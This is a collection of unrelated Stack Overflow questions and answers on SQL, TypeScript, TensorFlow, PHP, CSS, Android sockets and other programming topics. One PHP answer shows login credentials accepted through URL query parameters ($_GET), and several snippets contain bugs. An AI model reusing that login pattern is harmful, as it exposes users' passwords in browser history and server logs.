6951671	0	 <pre><code>begin ISOLATION LEVEL READ UNCOMMITTED; insert into "TB" ("Title") values ('111'); insert into "TB" ("Title") values ('111'); insert into "TB" ("Title") values ('111'); commit; </code></pre> <p>it's possible too</p>
38313672	0	 <p>Alright we've found the answer: we had 2 credentials and apparently used the wrong one in our APK. We switched around the Signing-certificate fingerprint so that the fingerprint in the APK and in play services match and now it's working.</p> <p>The strange thing is that everything seemed to work and we've never gotten any feedback from google that something was wrong...</p> <p>Thanks for your attention to this problem!</p>
30888940	0	 <p>Open the <a href="https://soundcloud.com/aviciiofficial/preview-avicii-vs-lenny" rel="nofollow">https://soundcloud.com/aviciiofficial/preview-avicii-vs-lenny</a> link in browser and in page there is a share button, click it and popup will load and in there click embed tab and copy the code</p> <p>use</p> <pre><code>&lt;iframe width="100%" height="450" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/41395010&amp;amp;auto_play=false&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;visual=true"&gt;&lt;/iframe&gt; </code></pre>
2108157	0	iphone and bluetooth device <p>could i connect my nokia phone to iphone using the following Object..?</p> <p>1)GKPeerPickerController 2)GKSession</p> <p>i mean (GameKit)</p> <p>note that here not two iPhone but it is one iPhone other one is only one Bluetooth device..</p> <p>thanks and regards jalju</p>
20855544	0	unnecessary movements in my a-star implementation <p>I've made an a-star implementation with euclidean heuristics, and it works, but makes unnecessary movements in some situations. </p> <p>Here is the screenshot: <a href="http://clip2net.com/s/6v2iU4" rel="nofollow">http://clip2net.com/s/6v2iU4</a></p> <p>Path starts on the blue circle and, in theory, cell to the right of it has less F (movement cost + heuristic cost), so a-star takes it first, but it ends up in building not the shortest path.</p> <p>How can i fix this? Or a-star is supposed to work this way and i dont need to do anything?</p> <p>My code: <a href="http://pastebin.com/02u33jY6" rel="nofollow">http://pastebin.com/02u33jY6</a> (h + cpp)</p>
40984308	0	 <p>You used the [typescript] tag here, so I am going to assume you are using typescript.</p> <p>Make this a 1-way street. Kill off the circular dependency. I would probably move this into 1 file, but you can still split it up like this.</p> <p><strong>a.ts</strong> (just an interface)</p> <pre><code>export interface A { name: string; new (name: string); } </code></pre> <p><strong>b.ts</strong> (implementation)</p> <pre><code>import { A } from 'a'; export class B implements A { /*...*/ } </code></pre>
15376218	0	 <p>Don't worry about it, and just specify the precision you want in your printing:</p> <pre><code>&gt;&gt;&gt; print('{:.4f}'.format(34.73809999999999)) 34.7381 </code></pre>
1532209	0	 <p>It is not possible to get the expiration date of a cookie through Javascript; only key-value pairs are exposed through <code>document.cookie</code>.</p>
39376780	0	 <p>I'm not sure whether this code is what you wanted to get, but i hope you would find it useful anyway. Mean squared error is actually decreasing along the iterations, though I haven't tested it for making predictions, so it's up to you!</p> <pre><code>import tensorflow as tf import numpy as np from random import randint flags = tf.app.flags FLAGS = flags.FLAGS flags.DEFINE_integer('batch_size', 50, 'Batch size.') flags.DEFINE_float('learning_rate', 0.01, 'Initial learning rate.') flags.DEFINE_integer('dim1', 3, 'layer size') flags.DEFINE_integer('training_epochs', 10, 'Number of passes through the main training loop') flag.DEFINE_integer('num_iters', 100, 'Number of iterations') def ezString(list): #debugging code so I can see what is going on listLength = len(list) r = '' for i in range(listLength): value = list[i] valueString = str(value) r = r + ' ' r = r + valueString return r def generateTrial(): inputs = np.zeros(2, dtype = np.float) for i in range(2): inputs[i] = randint(0, 1) unknownInput = randint(0, 1) um = 0 for j in range(2): sum = sum + inputs[j] sum = sum + unknownInput inputTensor = np.asarray(inputs) return inputTensor, sum def printTensor(tensor): sh = tensor.get_shape() print(sh) def placeholder_inputs(size): output_placeholder = tf.placeholder(tf.float32, shape=(size)) input_placeholder = tf.placeholder(tf.float32, shape=(size, 2)) return input_placeholder, output_placeholder def fill_feed_dict(inputs_pl, output_pl): inputs = [] outputs = [] for i in range(FLAGS.batch_size): input, output = generateTrial() inputs.append(input) outputs.append(output) return {inputs_pl: inputs, output_pl: outputs} def loss(y, pred): return tf.reduce_mean(tf.pow(y - pred, 2)) def NN(x, y, W1, b1, W2, b2): layer1 = tf.add(tf.matmul(x, W1), b1) layer1 = tf.nn.relu(layer1) output = tf.add(tf.matmul(layer1, W2), b2) return output, loss(y, output) def get_params(dim_hidden): with tf.variable_scope('nn_params'): return tf.Variable(tf.truncated_normal([2, dim_hidden], stddev = 0.05)), tf.Variable(0.0, (dim_hidden)),\ tf.Variable(tf.truncated_normal([dim_hidden, 1], stddev = 0.05)), tf.Variable(0.0, 1) def run_training(): input_placeholder, output_placeholder = placeholder_inputs(FLAGS.batch_size) W1, b1, W2, b2 = get_params(FLAGS.dim1) pred, loss = NN(input_placeholder, output_placeholder, W1, b1, W2, b2) optm = tf.train.AdamOptimizer(FLAGS.learning_rate).minimize(loss) init = tf.initialize_all_variables() sess = tf.Session() sess.run(init) for iters in range(FLAGS.num_iters): l, _ = sess.run([loss, optm], feed_dict = fill_feed_dict(input_placeholder, output_placeholder)) print l, iters + 1 </code></pre>
21138366	0	How to create two independent branches in Mercurial? <p>We are using Mercurial to manage a project A, which links to an old version of external system.</p> <p>A new version of this external system is now available and I now want to create second version B of the same project to work with this.</p> <p>Although both versions will share much of their code, I do not want changes to one project to affect that for the other project. I want to change the code base of each independently.</p> <p>How can I deal with this please?</p> <p>One way would be to put project B in a new repository, but this would lose the history of previous code. Is there a way to retain the history?</p> <p>Though I would have preferred a single code base, it is too difficult to add conditional statements to separate these.</p>
6667348	0	 <blockquote> <p>Is it good I a idea to use command line instead of GUI?</p> </blockquote> <p>Yes.</p> <blockquote> <p>And is it normal to compare every file I modified to the old ones with WinMerge after every time I modified them?</p> </blockquote> <p>Yes.</p> <p>Also. Buy this: <a href="http://www.syncrosvnclient.com/" rel="nofollow">http://www.syncrosvnclient.com/</a></p>
6977652	0	 <p>both are the same, there is no difference.</p>
40632428	0	How to add subscribers ( my clients ) to my shiny dashboard ? <p>I am a Data Scientist. Our team is busy in making Analytics Platform based on shiny application which we shall use for commercial purpose. Our company is Analytics Product development company. The idea is, the willing client needs to sign up in our platform first time and he has to choose the subscription plan and pay. Then it is just plug and play. Whenever he wishes, he will login and use our platform.</p> <p>For this, we need to do the following things in our shiny platform:</p> <ol> <li>User Login, 2. User Registration, 3. User Profiling, 4. User Subscription, 5. Payment gateway for users &amp; 6. Data base connectivity where we can store client's data.</li> </ol> <p>Please confirm me, whether shiny provides the above mentioned solutions.</p>
4041826	0	 <p>You must use the Double.IsInfinity() and Double.IsNaN() methods.</p> <pre><code>if (Double.IsInfinity(SampleInterval)) { //TODO } if (Double.IsNaN(SampleInterval)) { //TODO } </code></pre> <p>Don't compare directly to Double.NaN, it will always return false.</p>
8292499	0	 <p>Your proof isn't valid, and the reason for that is that there are many imprecise statements in your proof, and some falsehoods. For example you say that "the definition of a MST states that we must find the minimum path from a root to all verticies", whereas the definition of an MST is that it is the spanning tree of minimum weight.</p> <p>You use the fact that a "vertex that has the least edge" must be in the MST, but it's hard to see the relevance because <em>every</em> vertex appears in the MST (from the definition of spanning tree).</p> <p>The skill in writing proofs is to be extremely precise in your language, and to make logical steps that follow from things you prove (or if you're applying a well-known theorem, then a good citation). It's extremely important that you know and use the exact definitions of jargon you are using (here, perhaps, "minimal" and "spanning" and "tree").</p> <p>For this proof, as Keith says, you want to try a proof by contradiction. That is that if there is a spanning tree that doesn't contain the edge of minimal weight then you can find a spanning tree with a lower weight. Perhaps it would help to prove first how many edges a spanning tree must have, and whether every tree in the graph with that number of edges has to be a spanning tree. You should be clear what the definition of a tree is too as it will be needed in the proof: you'll take the spanning tree that doesn't contain the edge, modify it somehow, and show that it has lower weight and is still a spanning tree.</p>
7432517	0	 <p>Jimmy is correct. Your endpoint is most likely pointing to the test instance.</p>
19613180	0	Apply color overlay to picture in HTML pages <p>I have a PNG picture representing a monochrome white magnifying glass with an alpha channel. This image is overlayed on the top of other pictures, with a semi-transparent background such that you still see below it:</p> <p><img src="https://i.stack.imgur.com/cbg5G.png" alt="Picture with a magnifying glass overlay"></p> <p>When you hover that picture, I would like it to change to red, as do textual links per my CSS.</p> <p>I have considered several options:</p> <ul> <li>Use a <a href="http://www.fileformat.info/info/unicode/char/1f50d/index.htm" rel="nofollow noreferrer"><code>'LEFT-POINTING MAGNIFYING GLASS' (U+1F50D)</code> character</a>. This wouldn't work for the (fewer and fewer) clients that don't support an extensive set of Unicode characters; but when it works, it's not guaranteed to produce a monochrome character (on Apple implementations, it's a full-color emoji).</li> <li>Use a mask, as <a href="http://stackoverflow.com/questions/7415872/change-color-of-png-image-via-css">described in this other similar question</a>. This only works when you don't mind an opaque background (mine is <strong>not</strong> opaque) or when you can tell what's underneath your element with great certainty (and then it's rather hackish and ugly).</li> </ul> <p>My current solution is to use a different picture to represent the white magnifying glass and the red magnifying glass that it changes for when you hover over the picture. It's an okay solution, but I was wondering if there was a way I could have just one picture of just one color, so that I don't have to go back to change the image color if I change my mind about the color.</p> <p>I'm already doing extensive use of CSS3 and HTML5, so I don't mind going deeper as long as it's supported by the latest iterations of each major browser.</p>
17313558	1	Form for multiple models <p>Suppose I have two models:</p> <pre><code>class Topic(models.Model): title = models.CharField() # other stuff class Post(models.Model): topic = models.ForeignKey(Topic) body = models.TextField() # other stuff </code></pre> <p>And I want to create a form contains two fields: <code>Topic.title</code> and <code>Post.body</code>. Of course, I can create the following form:</p> <pre><code>class TopicForm(Form): title = forms.CharField() body = forms.TextField() # and so on </code></pre> <p>But I don't want to duplicate code, since I already have <code>title</code> and <code>body</code> in models. I'm looking for something like this:</p> <pre><code>class TopicForm(MagicForm): class Meta: models = (Topic, Post) fields = { Topic: ('title', ), Post: ('body', ) } # and so on </code></pre> <p>Also, I want to use it in class based views. I mean, I would like to write view as:</p> <pre><code>class TopicCreate(CreateView): form_class = TopicForm # ... def form_valid(self, form): # some things before creating objects </code></pre> <p>As suggested in comments, I could use two forms. But I don't see any simple way to use two forms in my <code>TopicCreate</code> view - I should reimplement all methods belongs to getting form(at least).</p> <h2>So, my question is:</h2> <p>Is there something already implemented in Django for my requirements? Or is there a better(simpler) way?</p> <p><strong>or</strong></p> <p>Do you know a simple way with using two forms in class based view? If so, tell me, it could solve my issue too.</p>
16580758	0	mbstring.so and curl.so can't be loaded by PHP under Ubuntu <p>I download PHP source code to build and install it. </p> <p>But <strong>mbstring.so</strong> and <strong>curl.so</strong> can not be loaded by PHP.</p> <ol> <li>I've remove ; from php.ini</li> <li><strong>mbstring.so</strong> and <strong>curl.so</strong> exist in extension folder</li> <li>other extension files can be loaded. I've tested with <strong>gd.so</strong>. I remove ; before gd.so, it can be see in phpinfo, I add ;, gd.so is hidden in phpinfo.</li> </ol> <p>Anybody know why?</p> <p>PHP version is <strong>5.4.13</strong>.</p>
23800700	0	MySQL STR_TO_DATE() returns invalid date <p>Our website requires signing up. Lately it has become apparent that the signup process fails on many occasions. I implemented several logs in my PHP code to start tracking this. Including one to track outputs from mysql_last_error() when possible.</p> <p>My next step was to write a script that generates sign-up requests with random values for the different required fields. My logic was that if this yields an issue - the problem is with the back-end logic, and if it doesn't - the problem is with server loads. (BTW, was this sound logic?)</p> <p>When sending many of these (I'd say about 150) I got only three errors, and the mysql_last_error log showed this:</p> <ul> <li><p>[Wed May 21 13:20:45.000000 2014] Incorrect date value: '1964-11-31' for column 'dob' at row 1</p></li> <li><p>[Wed May 21 13:48:37.000000 2014] Incorrect date value: '1963-11-31' for column 'dob' at row 1</p></li> <li><p>[Wed May 21 13:48:37.000000 2014] Incorrect date value: '1967-02-29' for column 'dob' at row 1</p></li> </ul> <p>The request is sent in a JSON format, and its dob field is in mm/dd/yyyy format. The SQL in my PHP code subsequently looks like this:</p> <pre><code>"STR_TO_DATE('".$cleanUser['dob']."', '%m/%d/%Y')" </code></pre> <p>I tried performing this operation inside MySQL Workbench as well, to isolate it from possible bad code. but it failed there as well. I simply don't understand what's the problem, and why it occurs only on some dates.</p> <p>All help will be greatly appreciated, Thanks in Advance</p>
37303993	0	 <p>There is mistake in the Parcelable implementation.</p> <p>First of all parcelable implementation states that: <strong>the fields passed in News(Parcel in) Constructor should be written in the same sequence in writeToParcel() method. Thats called Marshalling and Unmarshalling.</strong></p> <p><strong>Corrections:</strong></p> <ol> <li><p>Drawable cannot be passed a parameter in Parcelable.</p></li> <li><p>News Parcelable implementation.</p></li> </ol> <p>Missed some of the fields its just for your understanding.</p> <pre><code>public class News implements Parcelable { public static final String TAG = "model_news"; private JSONObject object; private int id; private String type; private String title; private Boolean comment_disabled; private String category_name; private String url; private Image images; private Date date; private Boolean is_video; protected News(Parcel in) { id = in.readInt(); type = in.readString(); title = in.readString(); category_name = in.readString(); url = in.readString(); } public static final Creator&lt;News&gt; CREATOR = new Creator&lt;News&gt;() { @Override public News createFromParcel(Parcel in) { return new News(in); } @Override public News[] newArray(int size) { return new News[size]; } }; @Override public int describeContents() { return 0; } @Override public void writeToParcel(Parcel dest, int flags) { dest.writeInt(id); dest.writeString(type); dest.writeString(title); dest.writeString(category_name); dest.writeString(url); } } public class Image implements Parcelable { public static final String TAG = "model_image"; private JSONObject imageObj; private JSONObject original; private String source; private int width; private Drawable image; protected Image(Parcel in) { source = in.readString(); width = in.readInt(); } public static final Creator&lt;Image&gt; CREATOR = new Creator&lt;Image&gt;() { @Override public Image createFromParcel(Parcel in) { return new Image(in); } @Override public Image[] newArray(int size) { return new Image[size]; } }; @Override public int describeContents() { return 0; } @Override public void writeToParcel(Parcel dest, int flags) { dest.writeString(source); dest.writeInt(width); } } </code></pre>
39458263	0	How to extend Laravel core class MessageBags <p>I need to extend <em>Illuminate\Support\MessageBag</em> because of add some help methods but <strong>I cant bind</strong> my own class App\Support\MyMessageBag to laravel use my class (that extends App\Support\MyMessageBag) instead of original core class.</p> <p>Do you have any ideas?</p>
39513338	0	 <p>The <a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields" rel="nofollow">content type</a> in a request header is the content of what you're <em>sending</em>. You're not sending an Excel file, you're requesting an excel file.</p> <p>When you send the <code>"application/x-www-form-urlencoded"</code> content type header, you're telling the server that your parameters must be read in the URL (<a href="https://www.w3.org/TR/html401/interact/forms.html#h-17.13.4.1" rel="nofollow">this is the standard way</a>).</p>
40774613	0	Finding nearest College via API <p>I am working on an app that wants to detect the nearest college to the user's current location. I've been trying to figure out how to do it and came across this post (<a href="http://stackoverflow.com/questions/16561296/finding-nearest-locations-using-google-map-api">Finding nearest locations using Google Map api</a> )</p> <p>However, I am trying to think of a more efficient way to do this. They suggest storing all the geopoints and looping through and finding the shortest ones. However, when there are thousands of colleges, that seems like sorta hefyty to be running everysingle time I load the app.</p> <p>Is there anything out there that given my longitude and latitude would just tell me the closest one? I just think this seems like a lot of processing for the app to do every single time it is opened...</p>
5805173	0	 <p>All the qt widget classes can be styled via <a href="http://doc.qt.nokia.com/latest/stylesheet-reference.html" rel="nofollow">stylesheets</a>, depending where create your popup (designer, or in code) assign it a stylesheet with the look that you want it to have. You can test stylesheets in designer by assigning a style to a widget using the context menu of the widget</p> <p>After further review, the <code>QSystemTrayIcon::showMessage()</code> call puts up a <em>system</em> notification. Which I don't know if it can be styled. The <code>qsystemtrayicon_win.cpp</code> file in the qt distribution shows a workaround and shows a way of how to find the location of the icon in the tray (see <code>QSystemTrayIconSys::findIconGeometry</code>). Once you have the location you could pop up your own window at that location. I did not look to deep, I don't know if you can get to the location for the icon with the information that you have on the public side of Qt. You might have to go all windows with that.</p>
31572280	0	 <p>It is not ideal to use $_GET with passwords as anyone can see it in the browser, anyway it's very easy to do. All you have to do is change your form tag to the following:</p> <pre><code>&lt;form action="login.php" method="get"&gt; </code></pre> <p>As you can see method is now get instead of post. In your php just use <code>$_GET</code> instead of <code>$_POST</code></p> <p>If you'd rather the options of your php script to use POST or GET you can always check if GET is set, if so use GET otherwise check if there is a POST. Therefore using the form will use POST (more secure) and in the url it will use GET. Try the following code:</p> <pre><code>&lt;?php if(isset($_GET['username']) &amp;&amp; isset($_GET['password'])){ $username = $_GET['username']; $password = $_GET['password']; $submitted = true; } else if(isset($_POST['username']) &amp;&amp; isset($_POST['password'])){ $username = $_POST['username']; $password = $_POST['password']; $submitted = true; } if($submitted){ // Do your code here.. // $username will give the username and $password will give the password. } ?&gt; </code></pre> <p>Hope it helps!</p>
32588491	0	 <pre><code>DECLARE @StartDate DATETIME, @EndDate DATETIME SET @StartDate = dateadd(mm, -1, getdate()) SET @StartDate = dateadd(dd, datepart(dd, getdate())*-1, @StartDate) SET @EndDate = dateadd(mm, 1, @StartDate) set @StartDate = DATEADD(dd, 1 , @StartDate) </code></pre>
34689702	0	 <p>Your need tells that your strategy is not correct. And even if it worked, your code readability and maintenability will not be good! Anyway, I suggest that you create a function instead of your procedure, which you may call whenever needed and replace the original variable with the output.</p> <p>An Example: </p> <pre><code>Function doStuff ($input){ treat_input; Return output; } $x = doStuff ($×); .... </code></pre> <p>Well, I know you will need to call this function as many times as number of variables you have. But trust me, this is the way that you have to go according to long experience in maintaining scripts.</p>
1713835	0	 <p>This is covered in the <a href="https://jax-ws.java.net/2.2.10/docs/ch05.html#section-jaxws-faq6" rel="nofollow noreferrer">FAQ</a> of JAX-WS:</p> <blockquote> <p><strong>Q. How can I change the Web Service address dynamically for a request ?</strong></p> <pre><code>((BindingProvider)proxy).getRequestContext().put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "..."); </code></pre> </blockquote>
22470626	0	How to correctly configure Facebook Connect for PhoneGap Build version 3.3? <p>I’m not finding any recent documentation on how to correctly install Facebook Connect on Android for PhoneGap Build version 3.3. Each time I try to authenticate a user on an android emulator nothing happens. I’m not even sure I am doing the process right. My question is, where in the process am I going wrong?</p> <p>On PhoneGap’s plugins page for Facebook Connect, it states that you place the plugin XML into your config.xml. I have done so. I have already created an app on Facebook’s developer site and added the Android hash to Facebook.</p> <p>Originally it seemed that you also needed to include the JavaScript SDK in index.html, but that is not activating the sign in either when I call FB.login().</p> <p>I have the Facebook app installed on my emulator. <a href="https://github.com/phonegap-build/FacebookConnect/blob/962eb0a1c07935ff813e28aa9eaa5581f2e10416/README.md" rel="nofollow">These are the instructions that I have been following:</a></p> <p>What is the correct way to install Facebook connect for PhoneGap Build version 3.3?</p>
36777279	0	Trie implementation runtime error <p>I'm trying to implement a Trie in C++ but I'm getting runtime error... </p> <p>Here is my code:</p> <pre><code>#include &lt;bits/stdc++.h&gt; using namespace std; struct trie{ bool word = false; trie* adj [26]; trie(){} void add(char* s){ trie* t = this; while(s){ if(t-&gt;adj[s[0] - 'a'] == NULL){ trie nova = create(s); t-&gt;adj[s[0] - 'a'] = &amp;nova; return; } else{ t = t-&gt;adj[s[0] - 'a']; } s++; } } trie create(char* s){ trie t; trie* point = &amp;t; while(s){ point-&gt;adj[s[0] - 'a'] = new trie(); point = point-&gt;adj[s[0] - 'a']; s++; } point-&gt;word = true; return t; } void seek(){ trie* t = this; run(t, ""); } void run(trie* t, string s){ if(t-&gt;word){ cout&lt;&lt;s&lt;&lt;"\n"; } for(int i = 0; i &lt; 26; i++){ if(t-&gt;adj[i] != NULL){ run(t-&gt;adj[i], s + char('a' + i)); } } } }; int main(){ trie t; t.add("ball"); t.add("balloon"); t.add("cluster"); t.seek(); } </code></pre> <p>It works like that:</p> <ul> <li><p>suppose I'm adding a word;</p></li> <li><p>if the letter of the word isn't in the trie </p> <pre><code> if(t-&gt;adj[s[0] - 'a'] == NULL) </code></pre> <ul> <li>make new trie with void create and set t->adj[s[0] - 'a'] to that new trie</li> </ul></li> <li><p>else just go to the next letter and repeat the proccess</p> <pre><code> t = t-&gt;adj[s[0] - 'a']; </code></pre></li> </ul> <p>What am I doing wrong? I'm <em>new</em> at using pointers and I think I must have used one (or more) of them mistakenly... What is it wrong?</p>
39735605	0	 <p>The code you have isn't for the Arduino but is written in a language called Processing. It will run on your PC and collect the data from the Arduino to be saved to a file. You need to download the <a href="https://processing.org/download/" rel="nofollow">Processing IDE</a> to compile the code and run it.</p>
2792619	0	 <p>It's platform-specific. But you can cast it to a known type.</p> <pre><code>printf("%lld\n", (long long) time(NULL)); </code></pre>
27573722	0	 <p>I had a similar problem, here is what i did:</p> <pre><code>{{ longString | limitTo: 20 }} {{longString.length &lt; 20 ? '' : '...'}} </code></pre>
39013435	0	Android SMSManager sendTextMessage saves messages as draft sometimes <p>i am glad to be able to send SMS from an Android App using</p> <pre><code> SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage(strNum, null, strTxt, null, null); </code></pre> <p>But in some cases, it saves the message as draft, instead of sending immidiately - why? some ideas? Or does somebody know - as a workaround - how can i send all SMS drafts?</p>
7159655	0	 <p>It Seems that DataAvailable callback is getting called even when buffer is null.</p> <p>I modified a function in <code>WaveIn.cs</code> file and its working fine now. I am not sure if this is correct, but for now, this is working for me.</p> <pre><code>private void Callback(IntPtr waveInHandle, WaveInterop.WaveMessage message, IntPtr userData, WaveHeader waveHeader, IntPtr reserved) { if (message == WaveInterop.WaveMessage.WaveInData) { GCHandle hBuffer = (GCHandle)waveHeader.userData; WaveInBuffer buffer = (WaveInBuffer)hBuffer.Target; if (buffer != null) { if (DataAvailable != null) { DataAvailable(this, new WaveInEventArgs(buffer.Data, buffer.BytesRecorded)); } if (recording) { buffer.Reuse(); } } else { if (RecordingStopped != null) { RecordingStopped(this, EventArgs.Empty); } } } </code></pre> <p>}</p>
36411766	0	 <p>You should set the Adapter before adding the layoutManager </p> <pre><code> updateUI(); mRecyclerView.setLayoutManager(new LinearLayoutManager(getActivity())); </code></pre>
21833035	0	How can I get a TCP server to send a message back to the client? <p>I'm at a complete loss as to how I can get my server app to send a message back to the client after the client sent a message. My goal is the client sends a message say "Hello" to the server the server receives the message then sends back to the client "hello to you"</p> <p>my question How do set up the part of the server sending a message and the client receiving the message?</p> <p>my server</p> <pre><code>public class MainActivity extends Activity { private ServerSocket serverSocket; Handler updateConversationHandler; Thread serverThread = null; public String serverIP = "127.0.0.1"; private InetAddress serverAddr; public static final int SERVERPORT = 4444; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); updateConversationHandler = new Handler(); this.serverThread = new Thread(new ServerThread()); this.serverThread.start(); } class ServerThread implements Runnable { public void run() { Socket socket = null; try { serverSocket = new ServerSocket(SERVERPORT); } catch (IOException e) { e.printStackTrace(); } while (!Thread.currentThread().isInterrupted()) { try { socket = serverSocket.accept(); CommunicationThread commThread = new CommunicationThread(socket); new Thread(commThread).start(); } catch (IOException e) { e.printStackTrace(); } } } } class CommunicationThread implements Runnable { private Socket clientSocket; private BufferedReader input; public CommunicationThread(Socket clientSocket) { this.clientSocket = clientSocket; try { this.input = new BufferedReader(new InputStreamReader(this.clientSocket.getInputStream())); } catch (IOException e) { e.printStackTrace(); } } public void run() { while (!Thread.currentThread().isInterrupted()) { try { String read = input.readLine(); updateConversationHandler.post(new updateUIThread(read)); } catch (IOException e) { e.printStackTrace(); } } } } class updateUIThread implements Runnable { private String msg; public updateUIThread(String str) { this.msg = str; } @Override public void run() { recieved.setText(""); if (msg != null){ recieved.setText(recieved.getText().toString()+"message recieved: "+ msg + “\n”); /* SEND MESSAGE */ } } } } </code></pre> <p>my client</p> <pre><code>public class MainActivity extends Activity { private Socket socket; private static final int SERVERPORT = 4444; public String serverIP= "127.0.0.1"; private InetAddress serverAddr; private Timer myTimer; @Override public void onCreate(Bundle icicle) { super.onCreate(icicle); setServerIP(); setContentView(R.layout.main); new Thread(new ClientThread()).start(); } public void sendVerifiedMessage(byte message) throws IOException { PrintWriter out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())),true); out.println(message); /* receive message from client */ } public void run() { sendVerifiedMessage(“hello”); } } class ClientThread implements Runnable { @Override public void run() { try { InetAddress serverAddr = InetAddress.getByName(serverIP); socket = new Socket(serverAddr, SERVERPORT); connected = true; } catch (UnknownHostException e1) { e1.printStackTrace(); connected = false; } catch (IOException e1) { connected = false; e1.printStackTrace(); } } } } </code></pre>
13075769	0	lightbox for images not getting applied <p>i have some issue regarding LightBox for images</p> <p>issue is when i load images from external php file it is not showing the images in lightbox.</p> <pre><code> &lt;script type="text/javascript"&gt; $(document).ready(function(){ //Display Loading Image function Display_Load() { $("#loading").fadeIn(900,0); $("#loading").html("&lt;img src='../images/lightbox-ico-loading.gif' /&gt;"); } //Hide Loading Image function Hide_Load() { $("#loading").fadeOut('slow'); }; //Default Starting Page Results Display_Load(); $("#content").load("images.php?page=1&amp;uid=28", Hide_Load(), lightBox()); //Pagination Click $("#pagination li").click(function(){ Display_Load(); //Loading Data var pageNum = this.id; var uid = 1; uid = "&lt;?php echo $id; ?&gt;"; $("#content").load("images.php?page=" + pageNum + "&amp;uid=" + uid, Hide_Load()); }); }); &lt;/script&gt; </code></pre> <p>it loads all the images in below box but does not have any lightbox effect.</p> <pre><code>&lt;center&gt;&lt;div id="loading" &gt;&lt;/div&gt; &lt;div id="content"&gt;&lt;/div&gt; &lt;/center&gt; </code></pre> <p>normally to display images in lightbox we will do something like below and it is working fine at all other places then only above code is having problem.</p> <pre><code> &lt;script type="text/javascript"&gt; $(function() { $('#gallery a').lightBox(); }); &lt;/script&gt; </code></pre> <p>can any one please share some tips about it.</p> <p>thank you advance.</p>
15020505	0	 <p>The events in a DOM start somewhere in your tree going down to the element (capturing phase) and then they bubble up the DOM (bubbling phase).</p> <p>You can catch the event and stop it from propagating. It wont be propageted further then and wont call other event handlers (like your second function) which are attached to e.g. wrapping elements.</p> <p>In the event handler of the autocomplete you should call <code>stopPropagation()</code> on the event. Altough this doesnt work in all browsers. In IE prior to IE9 the method is called <code>cancelBubble(true)</code>.</p> <p>In order to prevent a browsers default behaviour you can do <code>event.preventDefault()</code></p> <p>You can read more on this by searching "Event Cancellation" or "Event Propagation", as this is a tricky topic in JavaScript</p>
4544724	0	 <p>You'd have to cast to decimal for smaller numbers</p> <pre><code> select cast(power(cast(101 as float),50) as decimal(38,0)) % 221 </code></pre> <p>or</p> <pre><code> select power(cast(101 as decimal(38,0)),50) % 221 </code></pre> <p>This fails though with such a large number</p> <p>But then it makes no sense anyway for larger numbers.</p> <ul> <li>float is accurate to 15 signficant figures.</li> <li>101 ^ 50 = 1.64463182184388E+100</li> <li>the margin of error (float approximation) is about 82 orders of magnitude (1E+82) higher than your modulo 221</li> </ul> <p>Any answer from the modulo is utter rubbish</p> <p>Edit:</p> <p>Decimal goes to around 10^38</p> <p>Take a float number at 10^39, or 1E+39, then you are accurate to around 1E24 (15 signficant figures).</p> <p>Your modulo is 221 = 2.2E+2</p> <p>You margin of error ie 1E+24/2.2E+2 = 4.4E+21</p> <p>Just to be 100% clear, your accuracy is 4,400,000,000,000,000,000,000,000 times greater than your modulo.</p> <p>It isn't even approximate: it's <strong>rubbish</strong></p>
25130034	0	 <p>For future reference,</p> <p>You should be using a WebService (ASMX) file to process and return your JSON. Remember that the javascript success block will only be called with a returned http 200 status code.</p> <p>If you ever get to using the MVC framework its even easier by just returning a JSON result type.</p> <p>If you wanted to keep the aspx hack, you can call the following to remove the HTML</p> <pre><code>response.clear(); response.write(yourJSON); response.end(); </code></pre> <p>But again i would discourage from doing this and recommend the dedicated service.</p>
40655961	0	 <p>You can check <a href="https://github.com/baskerville/xdo" rel="nofollow noreferrer">xdo</a> which can do a decent job with minimal ressources.</p>
10039596	0	 <p>Yep, jQuery has a <a href="http://api.jquery.com/checked-selector/" rel="nofollow">Checked Selector</a>:</p> <pre><code>var checkedBoxIds = $("input:checked").id(); </code></pre>
19257166	0	 <p>Correct...and to launch you even further, check out this modification. </p> <p><a href="http://jsfiddle.net/Fv27b/2/" rel="nofollow">http://jsfiddle.net/Fv27b/2/</a></p> <p>Here, you'll see that not only are we combining the options, but we're creating our own binding entirely...which results in a much more portable extension of not just this view model, but any view model you may have in your project...so you'll only need to write this one once!</p> <pre><code>ko.bindingHandlers.colorAndTrans = { update: function(element, valAccessor) { var valdata = valAccessor(); var cssString = valdata.color(); if (valdata.transValue() &lt; 10) cssString += " translucent"; element.className = cssString; } } </code></pre> <p>To invoke this, you just use it as a new data-bind property and can include as many (or as few) options as possible. Under this specific condition, I might have just provided $data, however if you're wanting a reusable option you need to be more specific as to what data types you need as parameters and not all view models may have the same properties.</p> <pre><code>data-bind="colorAndTrans: { color: color, transValue: number }" </code></pre> <p>Hope this does more than answer your question!</p>
30422396	0	 <p>Try this and put profile image </p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$('img').on('click', function() { $('.hoverelement').toggle(); });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.hoverelement { display: none; border: solid 1px; width: 200px; text-align: left; position: absolute; z-index: 999; top: 100px; } .container { position: relative; top: 45px; float: right; text-align: right; } img { width: 100px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;div class="container"&gt; &lt;img src="http://upload.wikimedia.org/wikipedia/commons/3/33/Vanamo_Logo.png" alt=""/&gt; &lt;div class="hoverelement"&gt; &lt;h1&gt;your content here&lt;/h1&gt; &lt;p&gt;put some content here&lt;/p&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
